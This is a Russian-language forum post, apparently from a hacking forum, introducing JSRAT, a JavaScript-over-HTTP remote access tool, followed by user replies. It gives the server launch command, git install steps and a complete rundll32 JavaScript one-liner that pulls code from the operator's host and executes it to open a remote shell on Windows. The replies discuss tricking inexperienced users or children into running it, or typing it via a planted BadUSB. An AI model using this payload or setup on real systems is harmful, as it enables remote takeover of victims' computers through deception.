JSRAT - HTTP-оболочка с использованием JavaScript

Всем привет.
Страница разработчика -== aspiggy/JSRAT
Разработчик -== aspiggy

Внимание! Автор не несет никакой ответственности за плохое использование этого инструмента!
Введение.

JSRat - это инструмент управления и контроля, в котором используются служебные данные JavaScript и протокол HTTP для связи между сервером и целевыми узлами. Есть два варианта реализации в Python и один в PowerShell.

JSRat запустит веб-сервер и будет ждать выполнения команды клиента:

# python JSRat.py -i 192.168.42.101 -p 8080

После того, как пользователь посетит URL-адрес команды клиента, соединение будет установлено с хостом. JSRat может использоваться для выполнения команд, запускать исполняемые файлы/скрипты.



Чтобы установить правильную оболочку, необходимо выполнить загрузку JavaScript. Эта полезная нагрузка хранится по URL-адресу:



Команда, которая была сгенерирована, должна быть выполнена из командной строки:

Cmd Windows:
# rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.42.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

После выполнения команды будет получена оболочка.

Дальше вы знаете что делать.

Пример:
# run
codeby.net.exe

Установка и запуск:
# git clone https://github.com/aspiggy/JSRAT.git
# cd JSRAT
# Пример запуска: python JSRat.py -i 192.168.42.101 -p 8080

Спасибо за внимание.

 

[ghost8]

какой дурак только будет вводить это в cmd)))

 

[Литиум]

какой дурак только будет вводить это в cmd)))

Ты сейчас шутишь? Во-первых - глупых людей много , из них Юзеры/Ламеры/Дети, Во-вторых - Социальная инженерия.

 

[NAlex]

Может подкинутая BadUsb наберёт?

 

[Литиум]

Может подкинутая BadUsb наберёт?

Я не понял , ты про "дорожное яблоко" ?

 

[ghost8]

Ты сейчас шутишь? Во-первых - глупых людей много , из них Юзеры/Ламеры/Дети, Во-вторых - Социальная инженерия.

Ну да,если только глупых и СИ.